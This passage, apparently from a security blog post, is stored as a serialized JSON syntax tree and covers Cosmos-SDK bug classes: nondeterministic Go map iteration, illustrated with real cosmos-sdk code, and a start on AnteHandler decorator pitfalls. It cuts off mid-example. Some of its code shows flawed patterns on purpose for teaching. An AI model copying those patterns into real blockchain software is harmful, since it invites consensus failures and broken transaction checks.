)\n",{"type":24,"tag":158,"props":78795,"children":78796},{"class":160,"line":684},[78797],{"type":24,"tag":158,"props":78798,"children":78799},{"style":188},[78800],{"type":29,"value":69596},{"type":24,"tag":158,"props":78802,"children":78803},{"class":160,"line":700},[78804],{"type":24,"tag":158,"props":78805,"children":78806},{"style":188},[78807],{"type":29,"value":3967},{"type":24,"tag":158,"props":78809,"children":78810},{"class":160,"line":785},[78811],{"type":24,"tag":158,"props":78812,"children":78813},{"style":188},[78814],{"type":29,"value":307},{"type":24,"tag":25,"props":78816,"children":78817},{},[78818],{"type":29,"value":78819},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":4606,"props":78821,"children":78822},{},[78823],{"type":24,"tag":25,"props":78824,"children":78825},{},[78826],{"type":29,"value":78827},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":25,"props":78829,"children":78830},{},[78831,78833,78838],{"type":29,"value":78832},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":154,"props":78834,"children":78836},{"className":78835},[],[78837],{"type":29,"value":68377},{"type":29,"value":78839}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":147,"props":78841,"children":78843},{"code":78842,"language":77442,"meta":7,"className":77443,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[78844],{"type":24,"tag":154,"props":78845,"children":78846},{"__ignoreMap":7},[78847,78878,78885,78912,78932,78959,78995,79002,79031,79038,79073,79100,79119,79130,79174,79181,79188,79195],{"type":24,"tag":158,"props":78848,"children":78849},{"class":160,"line":161},[78850,78854,78858,78862,78866,78870,78874],{"type":24,"tag":158,"props":78851,"children":78852},{"style":165},[78853],{"type":29,"value":34018},{"type":24,"tag":158,"props":78855,"children":78856},{"style":171},[78857],{"type":29,"value":78592},{"type":24,"tag":158,"props":78859,"children":78860},{"style":165},[78861],{"type":29,"value":50940},{"type":24,"tag":158,"props":78863,"children":78864},{"style":188},[78865],{"type":29,"value":2048},{"type":24,"tag":158,"props":78867,"children":78868},{"style":171},[78869],{"type":29,"value":30926},{"type":24,"tag":158,"props":78871,"children":78872},{"style":188},[78873],{"type":29,"value":16646},{"type":24,"tag":158,"props":78875,"children":78876},{"style":171},[78877],{"type":29,"value":78613},{"type":24,"tag":158,"props":78879,"children":78880},{"class":160,"line":213},[78881],{"type":24,"tag":158,"props":78882,"children":78883},{"emptyLinePlaceholder":16},[78884],{"type":29,"value":481},{"type":24,"tag":158,"props":78886,"children":78887},{"class":160,"line":238},[78888,78892,78896,78900,78904,78908],{"type":24,"tag":158,"props":78889,"children":78890},{"style":165},[78891],{"type":29,"value":77578},{"type":24,"tag":158,"props":78893,"children":78894},{"style":496},[78895],{"type":29,"value":78632},{"type":24,"tag":158,"props":78897,"children":78898},{"style":188},[78899],{"type":29,"value":504},{"type":24,"tag":158,"props":78901,"children":78902},{"style":177},[78903],{"type":29,"value":78641},{"type":24,"tag":158,"props":78905,"children":78906},{"style":171},[78907],{"type":29,"value":78592},{"type":24,"tag":158,"props":78909,"children":78910},{"style":188},[78911],{"type":29,"value":16038},{"type":24,"tag":158,"props":78913,"children":78914},{"class":160,"line":259},[78915,78920,78924,78928],{"type":24,"tag":158,"props":78916,"children":78917},{"style":165},[78918],{"type":29,"value":78919}," var",{"type":24,"tag":158,"props":78921,"children":78922},{"style":177},[78923],{"type":29,"value":22624},{"type":24,"tag":158,"props":78925,"children":78926},{"style":188},[78927],{"type":29,"value":77505},{"type":24,"tag":158,"props":78929,"children":78930},{"style":171},[78931],{"type":29,"value":78613},{"type":24,"tag":158,"props":78933,"children":78934},{"class":160,"line":280},[78935,78939,78943,78947,78951,78955],{"type":24,"tag":158,"props":78936,"children":78937},{"style":1914},[78938],{"type":29,"value":4702},{"type":24,"tag":158,"props":78940,"children":78941},{"style":177},[78942],{"type":29,"value":7582},{"type":24,"tag":158,"props":78944,"children":78945},{"style":222},[78946],{"type":29,"value":77694},{"type":24,"tag":158,"props":78948,"children":78949},{"style":1914},[78950],{"type":29,"value":78677},{"type":24,"tag":158,"props":78952,"children":78953},{"style":177},[78954],{"type":29,"value":78682},{"type":24,"tag":158,"props":78956,"children":78957},{"style":188},[78958],{"type":29,"value":210},{"type":24,"tag":158,"props":78960,"children":78961},{"class":160,"line":301},[78962,78966,78970,78975,78979,78983,78987,78991],{"type":24,"tag":158,"props":78963,"children":78964},{"style":177},[78965],{"type":29,"value":26588},{"type":24,"tag":158,"props":78967,"children":78968},{"style":222},[78969],{"type":29,"value":462},{"type":24,"tag":158,"props":78971,"children":78972},{"style":496},[78973],{"type":29,"value":78974}," append",{"type":24,"tag":158,"props":78976,"children":78977},{"style":188},[78978],{"type":29,"value":504},{"type":24,"tag":158,"props":78980,"children":78981},{"style":177},[78982],{"type":29,"value":22227},{"type":24,"tag":158,"props":78984,"children":78985},{"style":188},[78986],{"type":29,"value":191},{"type":24,"tag":158,"props":78988,"children":78989},{"style":177},[78990],{"type":29,"value":73432},{"type":24,"tag":158,"props":78992,"children":78993},{"style":188},[78994],{"type":29,"value":2125},{"type":24,"tag":158,"props":78996,"children":78997},{"class":160,"line":626},[78998],{"type":24,"tag":158,"props":78999,"children":79000},{"style":188},[79001],{"type":29,"value":3967},{"type":24,"tag":158,"props":79003,"children":79004},{"class":160,"line":668},[79005,79010,79014,79019,79023,79027],{"type":24,"tag":158,"props":79006,"children":79007},{"style":177},[79008],{"type":29,"value":79009}," sort",{"type":24,"tag":158,"props":79011,"children":79012},{"style":188},[79013],{"type":29,"value":347},{"type":24,"tag":158,"props":79015,"children":79016},{"style":496},[79017],{"type":29,"value":79018},"Strings",{"type":24,"tag":158,"props":79020,"children":79021},{"style":188},[79022],{"type":29,"value":504},{"type":24,"tag":158,"props":79024,"children":79025},{"style":177},[79026],{"type":29,"value":22227},{"type":24,"tag":158,"props":79028,"children":79029},{"style":188},[79030],{"type":29,"value":2125},{"type":24,"tag":158,"props":79032,"children":79033},{"class":160,"line":676},[79034],{"type":24,"tag":158,"props":79035,"children":79036},{"emptyLinePlaceholder":16},[79037],{"type":29,"value":481},{"type":24,"tag":158,"props":79039,"children":79040},{"class":160,"line":684},[79041,79045,79049,79053,79057,79061,79065,79069],{"type":24,"tag":158,"props":79042,"children":79043},{"style":1914},[79044],{"type":29,"value":4702},{"type":24,"tag":158,"props":79046,"children":79047},{"style":177},[79048],{"type":29,"value":4707},{"type":24,"tag":158,"props":79050,"children":79051},{"style":188},[79052],{"type":29,"value":191},{"type":24,"tag":158,"props":79054,"children":79055},{"style":177},[79056],{"type":29,"value":73432},{"type":24,"tag":158,"props":79058,"children":79059},{"style":222},[79060],{"type":29,"value":77694},{"type":24,"tag":158,"props":79062,"children":79063},{"style":1914},[79064],{"type":29,"value":78677},{"type":24,"tag":158,"props":79066,"children":79067},{"style":177},[79068],{"type":29,"value":22624},{"type":24,"tag":158,"props":79070,"children":79071},{"style":188},[79072],{"type":29,"value":210},{"type":24,"tag":158,"props":79074,"children":79075},{"class":160,"line":700},[79076,79080,79084,79088,79092,79096],{"type":24,"tag":158,"props":79077,"children":79078},{"style":177},[79079],{"type":29,"value":27443},{"type":24,"tag":158,"props":79081,"children":79082},{"style":188},[79083],{"type":29,"value":347},{"type":24,"tag":158,"props":79085,"children":79086},{"style":177},[79087],{"type":29,"value":78702},{"type":24,"tag":158,"props":79089,"children":79090},{"style":188},[79091],{"type":29,"value":347},{"type":24,"tag":158,"props":79093,"children":79094},{"style":496},[79095],{"type":29,"value":78711},{"type":24,"tag":158,"props":79097,"children":79098},{"style":188},[79099],{"type":29,"value":2156},{"type":24,"tag":158,"props":79101,"children":79102},{"class":160,"line":785},[79103,79107,79111,79115],{"type":24,"tag":158,"props":79104,"children":79105},{"style":177},[79106],{"type":29,"value":78723},{"type":24,"tag":158,"props":79108,"children":79109},{"style":188},[79110],{"type":29,"value":347},{"type":24,"tag":158,"props":79112,"children":79113},{"style":496},[79114],{"type":29,"value":78732},{"type":24,"tag":158,"props":79116,"children":79117},{"style":188},[79118],{"type":29,"value":2156},{"type":24,"tag":158,"props":79120,"children":79121},{"class":160,"line":1447},[79122,79126],{"type":24,"tag":158,"props":79123,"children":79124},{"style":1108},[79125],{"type":29,"value":78744},{"type":24,"tag":158,"props":79127,"children":79128},{"style":188},[79129],{"type":29,"value":235},{"type":24,"tag":158,"props":79131,"children":79132},{"class":160,"line":1509},[79133,79137,79141,79145,79149,79153,79157,79161,79165,79169],{"type":24,"tag":158,"props":79134,"children":79135},{"style":177},[79136],{"type":29,"value":78756},{"type":24,"tag":158,"props":79138,"children":79139},{"style":188},[79140],{"type":29,"value":347},{"type":24,"tag":158,"props":79142,"children":79143},{"style":496},[79144],{"type":29,"value":78765},{"type":24,"tag":158,"props":79146,"children":79147},{"style":188},[79148],{"type":29,"value":504},{"type":24,"tag":158,"props":79150,"children":79151},{"style":177},[79152],{"type":29,"value":73432},{"type":24,"tag":158,"props":79154,"children":79155},{"style":188},[79156],{"type":29,"value":191},{"type":24,"tag":158,"props":79158,"children":79159},{"style":177},[79160],{"type":29,"value":78641},{"type":24,"tag":158,"props":79162,"children":79163},{"style":188},[79164],{"type":29,"value":2048},{"type":24,"tag":158,"props":79166,"children":79167},{"style":177},[79168],{"type":29,"value":73432},{"type":24,"tag":158,"props":79170,"children":79171},{"style":188},[79172],{"type":29,"value":79173},"]),\n",{"type":24,"tag":158,"props":79175,"children":79176},{"class":160,"line":1527},[79177],{"type":24,"tag":158,"props":79178,"children":79179},{"style":188},[79180],{"type":29,"value":78793},{"type":24,"tag":158,"props":79182,"children":79183},{"class":160,"line":1545},[79184],{"type":24,"tag":158,"props":79185,"children":79186},{"style":188},[79187],{"type":29,"value":69596},{"type":24,"tag":158,"props":79189,"children":79190},{"class":160,"line":1618},[79191],{"type":24,"tag":158,"props":79192,"children":79193},{"style":188},[79194],{"type":29,"value":3967},{"type":24,"tag":158,"props":79196,"children":79197},{"class":160,"line":1635},[79198],{"type":24,"tag":158,"props":79199,"children":79200},{"style":188},[79201],{"type":29,"value":307},{"type":24,"tag":25,"props":79203,"children":79204},{},[79205],{"type":29,"value":79206},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":395,"props":79208,"children":79210},{"id":79209},"real-world-examples-1",[79211],{"type":29,"value":77967},{"type":24,"tag":25,"props":79213,"children":79214},{},[79215,79217,79222,79224,79230,79232,79238,79240,79246],{"type":29,"value":79216},"Real-world examples of ",{"type":24,"tag":154,"props":79218,"children":79220},{"className":79219},[],[79221],{"type":29,"value":68377},{"type":29,"value":79223}," causing determinism problems can be found ",{"type":24,"tag":101,"props":79225,"children":79228},{"href":79226,"rel":79227},"https://github.com/cosmos/cosmos-sdk/pull/12487",[105],[79229],{"type":29,"value":48855},{"type":29,"value":79231},", specifically, where the result of ",{"type":24,"tag":154,"props":79233,"children":79235},{"className":79234},[],[79236],{"type":29,"value":79237},"buildCommitInfo",{"type":29,"value":79239}," is inconsistent due to iteration over the ",{"type":24,"tag":154,"props":79241,"children":79243},{"className":79242},[],[79244],{"type":29,"value":79245},"rs.stores",{"type":29,"value":79247}," map.",{"type":24,"tag":25,"props":79249,"children":79250},{},[79251],{"type":24,"tag":101,"props":79252,"children":79255},{"href":79253,"rel":79254},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[105],[79256],{"type":29,"value":78017},{"type":24,"tag":147,"props":79258,"children":79260},{"code":79259,"language":77442,"meta":7,"className":77443,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[79261],{"type":24,"tag":154,"props":79262,"children":79263},{"__ignoreMap":7},[79264,79301,79314,79342,79376,79421,79467,79475,79482,79527,79557,79586,79593,79600,79627,79649,79669,79676],{"type":24,"tag":158,"props":79265,"children":79266},{"class":160,"line":161},[79267,79271,79275,79280,79284,79289,79293,79297],{"type":24,"tag":158,"props":79268,"children":79269},{"style":165},[79270],{"type":29,"value":77578},{"type":24,"tag":158,"props":79272,"children":79273},{"style":188},[79274],{"type":29,"value":2262},{"type":24,"tag":158,"props":79276,"children":79277},{"style":177},[79278],{"type":29,"value":79279},"rs ",{"type":24,"tag":158,"props":79281,"children":79282},{"style":222},[79283],{"type":29,"value":577},{"type":24,"tag":158,"props":79285,"children":79286},{"style":171},[79287],{"type":29,"value":79288},"Store",{"type":24,"tag":158,"props":79290,"children":79291},{"style":188},[79292],{"type":29,"value":723},{"type":24,"tag":158,"props":79294,"children":79295},{"style":496},[79296],{"type":29,"value":79237},{"type":24,"tag":158,"props":79298,"children":79299},{"style":188},[79300],{"type":29,"value":2156},{"type":24,"tag":158,"props":79302,"children":79303},{"class":160,"line":213},[79304,79309],{"type":24,"tag":158,"props":79305,"children":79306},{"style":177},[79307],{"type":29,"value":79308}," version",{"type":24,"tag":158,"props":79310,"children":79311},{"style":171},[79312],{"type":29,"value":79313}," int64\n",{"type":24,"tag":158,"props":79315,"children":79316},{"class":160,"line":238},[79317,79321,79325,79329,79333,79338],{"type":24,"tag":158,"props":79318,"children":79319},{"style":188},[79320],{"type":29,"value":723},{"type":24,"tag":158,"props":79322,"children":79323},{"style":222},[79324],{"type":29,"value":577},{"type":24,"tag":158,"props":79326,"children":79327},{"style":171},[79328],{"type":29,"value":7411},{"type":24,"tag":158,"props":79330,"children":79331},{"style":188},[79332],{"type":29,"value":347},{"type":24,"tag":158,"props":79334,"children":79335},{"style":171},[79336],{"type":29,"value":79337},"CommitInfo",{"type":24,"tag":158,"props":79339,"children":79340},{"style":188},[79341],{"type":29,"value":210},{"type":24,"tag":158,"props":79343,"children":79344},{"class":160,"line":259},[79345,79350,79354,79358,79362,79366,79371],{"type":24,"tag":158,"props":79346,"children":79347},{"style":177},[79348],{"type":29,"value":79349}," storeInfos",{"type":24,"tag":158,"props":79351,"children":79352},{"style":222},[79353],{"type":29,"value":77694},{"type":24,"tag":158,"props":79355,"children":79356},{"style":188},[79357],{"type":29,"value":77505},{"type":24,"tag":158,"props":79359,"children":79360},{"style":171},[79361],{"type":29,"value":7411},{"type":24,"tag":158,"props":79363,"children":79364},{"style":188},[79365],{"type":29,"value":347},{"type":24,"tag":158,"props":79367,"children":79368},{"style":171},[79369],{"type":29,"value":79370},"StoreInfo",{"type":24,"tag":158,"props":79372,"children":79373},{"style":188},[79374],{"type":29,"value":79375},"{}\n",{"type":24,"tag":158,"props":79377,"children":79378},{"class":160,"line":280},[79379,79383,79387,79391,79395,79399,79403,79408,79412,79417],{"type":24,"tag":158,"props":79380,"children":79381},{"style":1914},[79382],{"type":29,"value":4702},{"type":24,"tag":158,"props":79384,"children":79385},{"style":177},[79386],{"type":29,"value":7582},{"type":24,"tag":158,"props":79388,"children":79389},{"style":188},[79390],{"type":29,"value":191},{"type":24,"tag":158,"props":79392,"children":79393},{"style":177},[79394],{"type":29,"value":205},{"type":24,"tag":158,"props":79396,"children":79397},{"style":222},[79398],{"type":29,"value":77694},{"type":24,"tag":158,"props":79400,"children":79401},{"style":1914},[79402],{"type":29,"value":78677},{"type":24,"tag":158,"props":79404,"children":79405},{"style":177},[79406],{"type":29,"value":79407}," rs",{"type":24,"tag":158,"props":79409,"children":79410},{"style":188},[79411],{"type":29,"value":347},{"type":24,"tag":158,"props":79413,"children":79414},{"style":177},[79415],{"type":29,"value":79416},"stores",{"type":24,"tag":158,"props":79418,"children":79419},{"style":188},[79420],{"type":29,"value":210},{"type":24,"tag":158,"props":79422,"children":79423},{"class":160,"line":301},[79424,79428,79432,79436,79441,79445,79449,79454,79458,79463],{"type":24,"tag":158,"props":79425,"children":79426},{"style":1914},[79427],{"type":29,"value":4936},{"type":24,"tag":158,"props":79429,"children":79430},{"style":177},[79431],{"type":29,"value":7483},{"type":24,"tag":158,"props":79433,"children":79434},{"style":188},[79435],{"type":29,"value":347},{"type":24,"tag":158,"props":79437,"children":79438},{"style":496},[79439],{"type":29,"value":79440},"GetStoreType",{"type":24,"tag":158,"props":79442,"children":79443},{"style":188},[79444],{"type":29,"value":15277},{"type":24,"tag":158,"props":79446,"children":79447},{"style":222},[79448],{"type":29,"value":1034},{"type":24,"tag":158,"props":79450,"children":79451},{"style":177},[79452],{"type":29,"value":79453}," types",{"type":24,"tag":158,"props":79455,"children":79456},{"style":188},[79457],{"type":29,"value":347},{"type":24,"tag":158,"props":79459,"children":79460},{"style":177},[79461],{"type":29,"value":79462},"StoreTypeTransient",{"type":24,"tag":158,"props":79464,"children":79465},{"style":188},[79466],{"type":29,"value":210},{"type":24,"tag":158,"props":79468,"children":79469},{"class":160,"line":626},[79470],{"type":24,"tag":158,"props":79471,"children":79472},{"style":1914},[79473],{"type":29,"value":79474}," continue\n",{"type":24,"tag":158,"props":79476,"children":79477},{"class":160,"line":668},[79478],{"type":24,"tag":158,"props":79479,"children":79480},{"style":188},[79481],{"type":29,"value":5010},{"type":24,"tag":158,"props":79483,"children":79484},{"class":160,"line":676},[79485,79490,79494,79498,79502,79507,79511,79515,79519,79523],{"type":24,"tag":158,"props":79486,"children":79487},{"style":177},[79488],{"type":29,"value":79489}," storeInfos",{"type":24,"tag":158,"props":79491,"children":79492},{"style":222},[79493],{"type":29,"value":462},{"type":24,"tag":158,"props":79495,"children":79496},{"style":496},[79497],{"type":29,"value":78974},{"type":24,"tag":158,"props":79499,"children":79500},{"style":188},[79501],{"type":29,"value":504},{"type":24,"tag":158,"props":79503,"children":79504},{"style":177},[79505],{"type":29,"value":79506},"storeInfos",{"type":24,"tag":158,"props":79508,"children":79509},{"style":188},[79510],{"type":29,"value":191},{"type":24,"tag":158,"props":79512,"children":79513},{"style":171},[79514],{"type":29,"value":7411},{"type":24,"tag":158,"props":79516,"children":79517},{"style":188},[79518],{"type":29,"value":347},{"type":24,"tag":158,"props":79520,"children":79521},{"style":171},[79522],{"type":29,"value":79370},{"type":24,"tag":158,"props":79524,"children":79525},{"style":188},[79526],{"type":29,"value":1710},{"type":24,"tag":158,"props":79528,"children":79529},{"class":160,"line":684},[79530,79535,79540,79544,79548,79553],{"type":24,"tag":158,"props":79531,"children":79532},{"style":177},[79533],{"type":29,"value":79534}," Name",{"type":24,"tag":158,"props":79536,"children":79537},{"style":188},[79538],{"type":29,"value":79539},": ",{"type":24,"tag":158,"props":79541,"children":79542},{"style":177},[79543],{"type":29,"value":73432},{"type":24,"tag":158,"props":79545,"children":79546},{"style":188},[79547],{"type":29,"value":347},{"type":24,"tag":158,"props":79549,"children":79550},{"style":496},[79551],{"type":29,"value":79552},"Name",{"type":24,"tag":158,"props":79554,"children":79555},{"style":188},[79556],{"type":29,"value":5150},{"type":24,"tag":158,"props":79558,"children":79559},{"class":160,"line":700},[79560,79565,79569,79573,79577,79582],{"type":24,"tag":158,"props":79561,"children":79562},{"style":177},[79563],{"type":29,"value":79564}," CommitId",{"type":24,"tag":158,"props":79566,"children":79567},{"style":188},[79568],{"type":29,"value":16566},{"type":24,"tag":158,"props":79570,"children":79571},{"style":177},[79572],{"type":29,"value":205},{"type":24,"tag":158,"props":79574,"children":79575},{"style":188},[79576],{"type":29,"value":347},{"type":24,"tag":158,"props":79578,"children":79579},{"style":496},[79580],{"type":29,"value":79581},"LastCommitID",{"type":24,"tag":158,"props":79583,"children":79584},{"style":188},[79585],{"type":29,"value":5150},{"type":24,"tag":158,"props":79587,"children":79588},{"class":160,"line":785},[79589],{"type":24,"tag":158,"props":79590,"children":79591},{"style":188},[79592],{"type":29,"value":69473},{"type":24,"tag":158,"props":79594,"children":79595},{"class":160,"line":1447},[79596],{"type":24,"tag":158,"props":79597,"children":79598},{"style":188},[79599],{"type":29,"value":3967},{"type":24,"tag":158,"props":79601,"children":79602},{"class":160,"line":1509},[79603,79607,79611,79615,79619,79623],{"type":24,"tag":158,"props":79604,"children":79605},{"style":1914},[79606],{"type":29,"value":18227},{"type":24,"tag":158,"props":79608,"children":79609},{"style":222},[79610],{"type":29,"value":8784},{"type":24,"tag":158,"props":79612,"children":79613},{"style":171},[79614],{"type":29,"value":7411},{"type":24,"tag":158,"props":79616,"children":79617},{"style":188},[79618],{"type":29,"value":347},{"type":24,"tag":158,"props":79620,"children":79621},{"style":171},[79622],{"type":29,"value":79337},{"type":24,"tag":158,"props":79624,"children":79625},{"style":188},[79626],{"type":29,"value":1710},{"type":24,"tag":158,"props":79628,"children":79629},{"class":160,"line":1527},[79630,79635,79640,79645],{"type":24,"tag":158,"props":79631,"children":79632},{"style":177},[79633],{"type":29,"value":79634}," Version",{"type":24,"tag":158,"props":79636,"children":79637},{"style":188},[79638],{"type":29,"value":79639},": ",{"type":24,"tag":158,"props":79641,"children":79642},{"style":177},[79643],{"type":29,"value":79644},"version",{"type":24,"tag":158,"props":79646,"children":79647},{"style":188},[79648],{"type":29,"value":235},{"type":24,"tag":158,"props":79650,"children":79651},{"class":160,"line":1545},[79652,79657,79661,79665],{"type":24,"tag":158,"props":79653,"children":79654},{"style":177},[79655],{"type":29,"value":79656}," StoreInfos",{"type":24,"tag":158,"props":79658,"children":79659},{"style":188},[79660],{"type":29,"value":16566},{"type":24,"tag":158,"props":79662,"children":79663},{"style":177},[79664],{"type":29,"value":79506},{"type":24,"tag":158,"props":79666,"children":79667},{"style":188},[79668],{"type":29,"value":235},{"type":24,"tag":158,"props":79670,"children":79671},{"class":160,"line":1618},[79672],{"type":24,"tag":158,"props":79673,"children":79674},{"style":188},[79675],{"type":29,"value":3967},{"type":24,"tag":158,"props":79677,"children":79678},{"class":160,"line":1635},[79679],{"type":24,"tag":158,"props":79680,"children":79681},{"style":188},[79682],{"type":29,"value":307},{"type":24,"tag":25,"props":79684,"children":79685},{},[79686,79688,79695,79696,79703],{"type":29,"value":79687},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":101,"props":79689,"children":79692},{"href":79690,"rel":79691},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[105],[79693],{"type":29,"value":79694},"time-sensitive functions",{"type":29,"value":1826},{"type":24,"tag":101,"props":79697,"children":79700},{"href":79698,"rel":79699},"https://github.com/cosmos/cosmos-sdk/issues/16638",[105],[79701],{"type":29,"value":79702},"race conditions",{"type":29,"value":347},{"type":24,"tag":59,"props":79705,"children":79707},{"id":79706},"thou-shalt-not-passor-should-you",[79708],{"type":29,"value":79709},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":25,"props":79711,"children":79712},{},[79713,79715,79721,79722,79728],{"type":29,"value":79714},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":154,"props":79716,"children":79718},{"className":79717},[],[79719],{"type":29,"value":79720},"msg.value",{"type":29,"value":191},{"type":24,"tag":154,"props":79723,"children":79725},{"className":79724},[],[79726],{"type":29,"value":79727},"msg.sender",{"type":29,"value":79729},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":25,"props":79731,"children":79732},{},[79733,79735,79741,79743,79749],{"type":29,"value":79734},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":154,"props":79736,"children":79738},{"className":79737},[],[79739],{"type":29,"value":79740},"Cosmos-SDK",{"type":29,"value":79742}," introduces ",{"type":24,"tag":154,"props":79744,"children":79746},{"className":79745},[],[79747],{"type":29,"value":79748},"AnteHandler",{"type":29,"value":79750}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":25,"props":79752,"children":79753},{},[79754,79756,79761,79763,79768],{"type":29,"value":79755},"To provide context, let's first understand how an ",{"type":24,"tag":154,"props":79757,"children":79759},{"className":79758},[],[79760],{"type":29,"value":79748},{"type":29,"value":79762}," is processed. Each ",{"type":24,"tag":154,"props":79764,"children":79766},{"className":79765},[],[79767],{"type":29,"value":79748},{"type":29,"value":79769}," is a state transition function that can:",{"type":24,"tag":1786,"props":79771,"children":79772},{},[79773,79778],{"type":24,"tag":1790,"props":79774,"children":79775},{},[79776],{"type":29,"value":79777},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":1790,"props":79779,"children":79780},{},[79781,79783],{"type":29,"value":79782},"Determine the course of action for the transaction.\n",{"type":24,"tag":1786,"props":79784,"children":79785},{},[79786,79797],{"type":24,"tag":1790,"props":79787,"children":79788},{},[79789,79791,79796],{"type":29,"value":79790},"Pass the transaction to the next ",{"type":24,"tag":154,"props":79792,"children":79794},{"className":79793},[],[79795],{"type":29,"value":79748},{"type":29,"value":347},{"type":24,"tag":1790,"props":79798,"children":79799},{},[79800],{"type":29,"value":79801},"Return error for transaction.",{"type":24,"tag":25,"props":79803,"children":79804},{},[79805,79807,79812],{"type":29,"value":79806},"The bad news is that developing an ",{"type":24,"tag":154,"props":79808,"children":79810},{"className":79809},[],[79811],{"type":29,"value":79748},{"type":29,"value":79813}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":25,"props":79815,"children":79816},{},[79817,79818,79824],{"type":29,"value":17850},{"type":24,"tag":154,"props":79819,"children":79821},{"className":79820},[],[79822],{"type":29,"value":79823},"AnteHandle",{"type":29,"value":79825}," implementation may look something like this:",{"type":24,"tag":147,"props":79827,"children":79829},{"code":79828,"language":77442,"meta":7,"className":77443,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[79830],{"type":24,"tag":154,"props":79831,"children":79832},{"__ignoreMap":7},[79833,79845,79861,79868,79875,79908,79932,79957,79973,79997,80029,80077,80096,80129,80150,80162,80169,80176,80183,80213,80249,80313,80347,80379,80391,80403,80410,80417,80424,80431,80473],{"type":24,"tag":158,"props":79834,"children":79835},{"class":160,"line":161},[79836,79840],{"type":24,"tag":158,"props":79837,"children":79838},{"style":165},[79839],{"type":29,"value":443},{"type":24,"tag":158,"props":79841,"children":79842},{"style":188},[79843],{"type":29,"value":79844}," (\n",{"type":24,"tag":158,"props":79846,"children":79847},{"class":160,"line":213},[79848,79853,79857],{"type":24,"tag":158,"props":79849,"children":79850},{"style":177},[79851],{"type":29,"value":79852}," MIN_BALANCE",{"type":24,"tag":158,"props":79854,"children":79855},{"style":222},[79856],{"type":29,"value":462},{"type":24,"tag":158,"props":79858,"children":79859},{"style":465},[79860],{"type":29,"value":20585},{"type":24,"tag":158,"props":79862,"children":79863},{"class":160,"line":238},[79864],{"type":24,"tag":158,"props":79865,"children":79866},{"style":188},[79867],{"type":29,"value":2125},{"type":24,"tag":158,"props":79869,"children":79870},{"class":160,"line":259},[79871],{"type":24,"tag":158,"props":79872,"children":79873},{"emptyLinePlaceholder":16},[79874],{"type":29,"value":481},{"type":24,"tag":158,"props":79876,"children":79877},{"class":160,"line":280},[79878,79882,79886,79891,79896,79900,79904],{"type":24,"tag":158,"props":79879,"children":79880},{"style":165},[79881],{"type":29,"value":77578},{"type":24,"tag":158,"props":79883,"children":79884},{"style":188},[79885],{"type":29,"value":2262},{"type":24,"tag":158,"props":79887,"children":79888},{"style":177},[79889],{"type":29,"value":79890},"abd ",{"type":24,"tag":158,"props":79892,"children":79893},{"style":171},[79894],{"type":29,"value":79895},"AccountBalanceDecorator",{"type":24,"tag":158,"props":79897,"children":79898},{"style":188},[79899],{"type":29,"value":723},{"type":24,"tag":158,"props":79901,"children":79902},{"style":496},[79903],{"type":29,"value":79823},{"type":24,"tag":158,"props":79905,"children":79906},{"style":188},[79907],{"type":29,"value":2156},{"type":24,"tag":158,"props":79909,"children":79910},{"class":160,"line":301},[79911,79915,79920,79924,79928],{"type":24,"tag":158,"props":79912,"children":79913},{"style":177},[79914],{"type":29,"value":21467},{"type":24,"tag":158,"props":79916,"children":79917},{"style":171},[79918],{"type":29,"value":79919}," sdk",{"type":24,"tag":158,"props":79921,"children":79922},{"style":188},[79923],{"type":29,"value":347},{"type":24,"tag":158,"props":79925,"children":79926},{"style":171},[79927],{"type":29,"value":77627},{"type":24,"tag":158,"props":79929,"children":79930},{"style":188},[79931],{"type":29,"value":235},{"type":24,"tag":158,"props":79933,"children":79934},{"class":160,"line":626},[79935,79940,79944,79948,79953],{"type":24,"tag":158,"props":79936,"children":79937},{"style":177},[79938],{"type":29,"value":79939}," 